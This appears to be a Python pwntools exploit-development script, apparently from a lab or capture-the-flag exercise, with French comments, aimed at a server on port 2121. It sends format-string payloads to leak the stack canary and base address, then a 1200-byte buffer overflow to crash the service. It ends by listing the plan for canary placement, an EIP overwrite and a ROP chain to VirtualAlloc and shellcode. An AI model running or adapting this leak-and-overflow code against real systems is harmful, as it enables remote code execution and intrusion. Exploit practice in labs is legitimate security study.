#!/usr/bin/env python3
"""
Test si le serveur accepte plusieurs commandes sur la meme connexion.
Si oui, on peut leak le canary ET overflow dans le meme thread.
"""
from pwn import remote, log
import time, sys

CIBLE_IP   = "10.129.2.76"
CIBLE_PORT = 2121

log.info("=== TEST 1 : Deux commandes format string sur la meme connexion ===")
sys.stdout.flush()

c = remote(CIBLE_IP, CIBLE_PORT)

log.info("Commande 1 : TEST %p.%p")
c.sendline(b"TEST %p.%p")
try:
    resp1 = c.recvline(timeout=3).decode(errors="ignore")
    log.success(f"Reponse 1 : {resp1.strip()}")
except Exception as e:
    log.error(f"Pas de reponse 1 : {e}")
    resp1 = ""

time.sleep(0.5)

log.info("Commande 2 : TEST %p.%p (meme connexion)")
c.sendline(b"TEST %p.%p")
try:
    resp2 = c.recvline(timeout=3).decode(errors="ignore")
    log.success(f"Reponse 2 : {resp2.strip()}")
except Exception as e:
    log.error(f"Pas de reponse 2 : {e}")
    resp2 = ""

c.close()

if resp1 and resp2:
    log.success("Le serveur accepte PLUSIEURS commandes par connexion!")

    v1_parts = resp1.split("Path:")[1].strip().split(".") if "Path:" in resp1 else []
    v2_parts = resp2.split("Path:")[1].strip().split(".") if "Path:" in resp2 else []

    if len(v1_parts) >= 1 and len(v2_parts) >= 1:
        val1_r1 = v1_parts[0].strip()
        val1_r2 = v2_parts[0].strip()
        log.info(f"  Canary commande 1 : {val1_r1}")
        log.info(f"  Canary commande 2 : {val1_r2}")
        if val1_r1 == val1_r2:
            log.success("  CANARY IDENTIQUE! Meme thread = on peut leak+exploit en 1 connexion!")
        else:
            log.warning("  Canary different (threads differents?)")
elif resp1 and not resp2:
    log.warning("Serveur a ferme apres la 1ere commande (single-command)")
else:
    log.error("Aucune reponse")

print(f"\n{'='*60}", flush=True)

log.info("=== TEST 2 : Leak puis overflow sur la meme connexion ===")
sys.stdout.flush()

c2 = remote(CIBLE_IP, CIBLE_PORT)

log.info("Commande 1 : Leak format string")
c2.sendline(b"TEST %p.%p")
try:
    resp_leak = c2.recvline(timeout=3).decode(errors="ignore")
    log.success(f"Leak : {resp_leak.strip()}")
except:
    resp_leak = ""
    log.error("Pas de leak")

if resp_leak and "Path:" in resp_leak:
    parts = resp_leak.split("Path:")[1].strip().split(".")
    canary_val = int(parts[0].strip(), 16)
    base_val = int(parts[1].strip().rstrip("\r\n"), 16) - 0x14120
    log.success(f"  Canary = 0x{canary_val:08x}, Base = 0x{base_val:08x}")

    time.sleep(0.3)

    log.info("Commande 2 : Envoi 1200 bytes de junk (test crash)")
    c2.sendline(b"TEST " + b"A" * 1200)
    try:
        resp_crash = c2.recvline(timeout=3)
        log.warning(f"Reponse (pas de crash) : {resp_crash}")
    except:
        log.success("Pas de reponse = CRASH! L'overflow fonctionne sur la meme connexion!")
        log.success(f"On a le canary 0x{canary_val:08x} du MEME thread que l'overflow!")

c2.close()

print(f"\n{'='*60}", flush=True)
print(" PROCHAINE ETAPE si multi-cmd + crash OK:", flush=True)
print(" 1. Trouver l'offset exact du canary dans le buffer", flush=True)
print(" 2. Placer le canary leak a la bonne position", flush=True)
print(" 3. Overwrite saved EIP avec le debut de la ROP chain", flush=True)
print(" 4. GS passe -> ret dans ROP -> VirtualAlloc -> shellcode", flush=True)
print(f"{'='*60}", flush=True)
